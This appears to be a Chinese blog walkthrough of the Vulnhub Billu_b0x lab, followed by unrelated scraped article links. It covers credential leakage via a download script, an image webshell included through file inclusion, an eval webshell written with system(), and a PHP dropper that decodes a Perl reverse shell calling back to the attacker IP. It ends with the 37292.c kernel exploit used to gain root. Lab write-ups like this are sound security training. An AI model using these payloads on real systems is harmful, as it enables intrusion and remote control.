个人博客:点我

本次来试玩一下vulnhub上的Billu_b0x,只有一个flag,下载地址

下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。


IP

Billu_b0x:192.168.31.190
Kali: 192.168.31.17
Win7: 192.168.31.168


信息搜集

端口扫描发现开放了80和22端口

nmap -sV -A -p- 192.168.31.190

御剑扫描发现有add.php c in phpmy test.php panel.php
首页是一个登录窗口,并且提示我们“展现我们sqllabs技巧的时候到了”,明显是sql注入。add.php似乎是一个文件上传,in是phpinfo,phpmy是数据库phpmyadmin的后台管理,test.php似乎是一个file传参的文件包含,panel.php重定向到首页。


渗透过程

常规的还是首页sql注入尝试一下。但手注注不出来,不管什么错误都是报try again。丢进sqlmap不知道什么被过滤了,跑不出注入点,看来这个sql注入是行不通了。

再看一下test.php文件包含,POST先包含一下test.php,直接把文件下了下来,看一下源码并不是文件包含,而是通过一个file_download函数下载。

因此把能下载的文件全都下载下来看一遍。最后在c中发现存在连接数据库的账户密码。

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

phpmy直接登录上去即可进入。

有一种比较骚的做法是直接尝试下载phpmyadmin的默认配置文件,/var/www/phpmy/config.inc.php,下载下来直接就发现有root和roottoor密码,ssh连上去就已经是root用户了,整题就结束了。但这样就太不好玩了,我们还是尝试寻常的办法。

在ica表的auth列中找到后台登录账户和密码,

登录index.php进入panel.php。是一个添加用户和显示用户的界面,先上传一个正常的用户,可以显示出来,右键图片能直接看到上传路径为uploaded_images/,文件名也没有修改。随后上传一个图片码sqzr.jpg,过滤了后缀、文件类型、文件头,利用目录遍历直接访问192.168.31.190/uploaded_images能看到上传成功。

后来在找哪里存在文件包含,test.php显然已经不是了,最终在panel.php中找到

include($dir.'/'.$_POST['load']);

语法是包含当前目录下的load传参,前面的$dir.’/'相当于没有。那么直接页面刷新抓包修改load,

load=uploaded_images/sqzr.jpg&continue=continue&sqzr=phpinfo();

成功显示phpinfo();
但是此时蚁剑不知道为什么不能直接连接,因此利用sqzr先写入一个shell.php,然后直接连接这个文件。(写入时注意$前需要\转义)

load=uploaded_images/sqzr.jpg&continue=continue&sqzr=system("echo '<?php eval(\$_POST[x]);?>' > uploaded_images/shell.php");


提权

进入后先查看版本,是ubuntu 12.04,查找一下漏洞库,有很多漏洞可以利用。我这里使用37292.c

cp /usr/share/exploitdb/exploits/linux/local/37292.c ~/37292.c

然后下载到靶机

cd ~
python -m SimpleHTTPServer 80 wget http://192.168.31.17/37292.c

这里利用蚁剑中的虚拟终端似乎不能提权成功,我还是喜欢使用反弹shell。
蚁剑在uploaded_images中写入shell2.php,源码如下(注意修改):

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = '192.168.31.17'; #修改为你的攻击机ip
$yourport = '7890'; #修改为你的攻击机的监听端口
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

kali监听

nc -lvp 4444

然后访问192.168.31.190/uploaded_images/shell2.php就能上线了。
建立虚拟终端

python -c 'import pty;pty.spawn("/bin/bash");'

然后编译执行那个提权文件就可以了。

gcc -pthread 37292.c -o crack -lcrypt
./crack

此时已经提权成功了。


总结

这个靶场的入手点有很多,包含的元素也很多,文件包含 文件上传 漏洞利用 sql注入 数据库配置等等,有一定综合性。

Billu_b0x内网渗透-vulnhub的更多相关文章

  1. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  2. 内网渗透 关于GPO

    网上有很多讲内网渗透的文章,但看来看去还是一老外的博客给力,博客地址:www.harmj0y.net/blog,看完就明白这里面的很多思路都非常好. 做内网时,有时会碰到目标的机器开防火墙,所有端口基 ...

  3. [原创]K8 Cscan 3.6大型内网渗透自定义扫描器

    前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...

  4. [原创]K8 cping 3.0大型内网渗透扫描工具

    [原创]K8 Cscan 大型内网渗透自定义扫描器 https://www.cnblogs.com/k8gege/p/10519321.html Cscan简介:何为自定义扫描器?其实也是插件化,但C ...

  5. [源码]Python简易http服务器(内网渗透大文件传输含下载命令)

    Python简易http服务器源码 import SimpleHTTPServerimport SocketServerimport sysPORT = 80if len(sys.argv) != 2 ...

  6. [原创]K8飞刀20150725 支持SOCKS5代理(内网渗透)

    工具: K8飞刀编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/26 3:41:11 简介: ...

  7. MSF 内网渗透笔记

    进入meterpreter模式 在meterpreter中输入shell即可进入CMD窗口接着即可执行CMD命令,例如打开RDP服务REG ADD HKLM\SYSTEM\CurrentControl ...

  8. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

  9. 内网渗透之IPC,远程执行

    开启服务 net start Schedule net start wmiApSrv 关闭防火墙 net stop sharedaccess net use \\目标IP\ipc$ "&qu ...

随机推荐

  1. tomcat漏洞总结

    描述 Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache.Sun 和其他一些公司及个人共同开发而成.由 ...

  2. Mysql force index和ignore index 使用实例

    前几天统计一个sql,是一个人提交了多少工单,顺便做了相关sql优化.数据大概2000多w. select CustName,count(1) c from WorkOrder where Creat ...

  3. 剑指 Offer 34. 二叉树中和为某一值的路径

    剑指 Offer 34. 二叉树中和为某一值的路径 输入一棵二叉树和一个整数,打印出二叉树中节点值的和为输入整数的所有路径.从树的根节点开始往下一直到叶节点所经过的节点形成一条路径. 示例: 给定如下 ...

  4. CentOS7系统搭建FTP服务器

    创建FTP服务器1.安装FTP服务 yum install -y vsftpd 默认的FTP服务的配置文件路径为/etc/vsftpd cd /etc/vsftpd[root@test924 vsft ...

  5. Sentry Web 性能监控 - Metrics

    系列 1 分钟快速使用 Docker 上手最新版 Sentry-CLI - 创建版本 快速使用 Docker 上手 Sentry-CLI - 30 秒上手 Source Maps Sentry For ...

  6. clickonce的密钥到期问题处理

    最近clickonce的密钥到期了,在网上找了些文章用来修改密钥的到期时间,已成功生成新密钥,好不好使暂时未测. 在此小结一下,以备参考: 1.在原密钥所属电脑上cmd执行如下命令 renewcert ...

  7. CodeForce-702C Cellular Network(查找)

    Cellular Network CodeForces - 702C 给定 n (城市数量) 和 m (灯塔数量): 给定 a1~an 城市坐标: 给定 b1~bm 灯塔坐标: 求出灯塔照亮的最小半径 ...

  8. JavaScript进行表单提交

    表单结构,设置form表单的id属性,method="post/get","action"要跳转的页面(jsp或servlet) <form name=& ...

  9. CORS跨域请求规则以及在Spring中的实现

    CORS: 通常情况下浏览器禁止AJAX从外部获取资源,因此就衍生了CORS这一标准体系,来实现跨域请求. CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origi ...

  10. Elasticsearch(ES)集群的搭建

    1. 概述 Elasticsearch(ES)集群支持分片和副本,能够很容易的实现负载均衡.扩容.容灾.高可用. 今天我们就来聊一下,Elasticsearch(ES)集群是如何搭建的. 2. 场景介 ...